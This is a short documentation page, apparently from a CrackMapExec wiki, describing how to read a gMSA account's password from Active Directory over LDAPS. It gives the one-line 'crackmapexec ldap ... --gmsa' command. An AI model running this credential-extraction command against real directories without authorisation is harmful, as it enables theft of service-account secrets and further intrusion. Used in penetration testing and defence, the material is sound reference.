Last updated 2 years ago
Using the protocol LDAP you can extract the password of a gMSA account if you have the right.
LDAPS is required to retrieve the password, using the --gmsa LDAPS is automatically selected
$ crackmapexec ldap <ip> -u <user> -p <pass> --gmsa